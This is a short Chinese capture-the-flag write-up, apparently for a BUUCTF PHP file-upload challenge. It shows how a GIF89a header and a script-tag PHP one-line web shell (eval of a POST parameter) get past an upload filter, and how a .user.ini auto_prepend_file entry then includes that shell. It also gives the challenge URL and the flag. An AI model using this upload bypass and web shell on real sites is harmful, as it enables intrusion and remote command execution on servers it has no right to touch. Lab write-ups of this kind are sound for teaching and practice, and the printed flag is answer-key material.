上传图片木马文件后看到，检查的文件内容，包含<?
一句话木马提示
检查的文件格式
用如下图片木马，加上GIF89a绕过图片和<?检查
GIF89a
<script language='php'>@eval($_POST['cmd'])</script>.user.ini实际上就是一个可以由用户“自定义”的php.ini，我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
其中有两个配置，可以用来制造后门：
auto_append_file、auto_prepend_file
指定一个文件，自动包含在要执行的文件前，类似于在文件前调用了require()函数。而auto_append_file类似，只是在文件后面包含。 使用方法很简单，直接写在.user.ini中
# .xxxx.ini 文件是配置当前目录以及当前子目录的规则配置的文件，文件的中的配置会覆盖掉当前php.ini中的规则，是当前用户的配置文件
# 除了主 php.ini 之外，PHP 还会在每个目录下扫描 INI 文件，从被执行的 PHP 文件所在目录开始一直上升到 web 根目录（$_SERVER['DOCUMENT_ROOT'] 所指定的）。如果被执行的 PHP 文件在 web 根目录之外，则只扫描该目录。# 如果是 Apache 服务器，则可以利用 .htaccess 文件，作用和 .INI 一样，只是风格上有些不一样
分别上传2个文件
#.user.ini
GIF89a
auto_prepend_file=bc.gif
#bc.gif
GIF89a
<script language='php'>@eval($_POST['cmd'])</script>结果如下：
用蚁剑链接或者hackerbar都可以
http://59f9766b-72f9-42f1-afdb-fc34ba5c6ad9.node5.buuoj.cn:81/uploads/0211dc66bfdf20bb5c17ed485cf67119/index.php
flag:flag{c7acceaf-ca22-445d-b020-8260809d8287}
